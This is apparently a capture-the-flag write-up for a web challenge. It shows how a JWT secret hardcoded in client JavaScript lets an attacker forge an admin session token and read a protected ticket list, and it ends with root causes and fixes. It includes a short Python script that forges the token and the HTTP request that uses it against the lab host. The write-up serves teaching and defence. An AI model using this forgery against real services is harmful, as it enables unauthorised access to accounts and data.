Summary
The ticket portal generates guest session JWTs client-side, signing them with an HMAC secret (halloween-secret) that's hardcoded directly in the page's JavaScript. Since the server verifies tokens with that same secret, anyone can read it from the page source and forge their own token with username: "admin". Access control on the /tickets endpoint trusts this claim outright, so the forged token unlocks the admin-only ticket list - which contains the flag.
1. Recon
The challenge exposed a single web service (a Halloween-themed "WitchWay" ticket support portal) reachable over HTTPS with a self-signed cert:
curl https://<target-ip>:<port>/ --insecure
The landing page rendered a ticket submission form and pulled in a client-side JWT library (jose.min.js). Viewing the page source revealed inline JavaScript that generates a guest session token entirely in the browser:
const secretKey = await crypto.subtle.importKey(
"raw",
new TextEncoder().encode("halloween-secret"),
{ name: "HMAC", hash: "SHA-256" },
false,
["sign"],
);
This is the core flaw: the HMAC secret used to sign session tokens (halloween-secret) is shipped in plaintext inside client-facing JavaScript. Since JWTs signed with HS256 are verified with the same symmetric key used to sign them, anyone who reads the page source can mint their own valid tokens.
On page load, a session_token cookie is set containing a JWT with only two claims:
{ "username": "guest_1234", "iat": 1699999999 }
2. Source review
A downloadable build archive (build-docker.sh, Dockerfile, src/) confirmed the server-side logic. The relevant route, src/routes/index.js:
router.get("/tickets", async (req, res) => {
const sessionToken = req.cookies.session_token;
...
const username = getUsernameFromToken(sessionToken);
if (username === "admin") {
const tickets = await db.get_tickets();
return res.status(200).json({ tickets });
} else {
return res.status(403).json(response("Access denied. Admin privileges required."));
}
});
Access control here is entirely dependent on one thing: the username claim decoded out of the client-supplied session_token cookie. There's no separate role or permission field - just a string equality check against "admin".
database.js confirmed the payoff. A seeded ticket belonging to admin holds the flag:
('Admin', 'admin', 'Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter ${flag}')
So the path to the flag is:
Forge a JWT with
username: "admin", signed with the leaked secrethalloween-secret→ hitGET /tickets→ read the admin ticket's content.
3. Exploitation
Since the server signs and verifies with the same symmetric secret found in the client-side bundle, forging a valid admin token just means signing our own JWT with that key.
import jwt
import time
JWT_SECRET = "halloween-secret"
payload = {
"username": "admin",
"iat": int(time.time())
}
forged_token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(forged_token)
This produces a token such as:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg0Mjg4NjQ4fQ.<signature>
The forged token was set as the session_token cookie and sent to the protected endpoint (confirmed working in Burp Repeater):
GET /tickets HTTP/1.1
Host: 154.57.164.73:31677
Cookie: session_token=<forged admin JWT>
4. Result
The server accepted the forged token, decoded username: "admin" from it, and returned the full ticket list - including the admin-only entry:
{
"id": 3,
"name": "Admin",
"username": "admin",
"content": "Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter HTB{REDACTED}"
}
Flag: HTB{REDACTED}
5. Root Cause & Fix
| Issue | Why it matters | Fix |
|---|---|---|
| JWT secret embedded in client-side JS | Anyone loading the page can read the exact signing key | Never generate or sign session tokens client-side; issue tokens only from the server after real authentication |
| Access control keyed on a raw JWT claim string | Any token bearer can set username to whatever they like if they know the secret |
Enforce role checks server-side against a trusted source (session store / DB), not a self-asserted claim |
| Guest sessions minted without any server-side authentication step | No proof of identity is ever established | Require the server to issue and sign tokens itself, using a secret that never leaves the backend |
Top comments (0)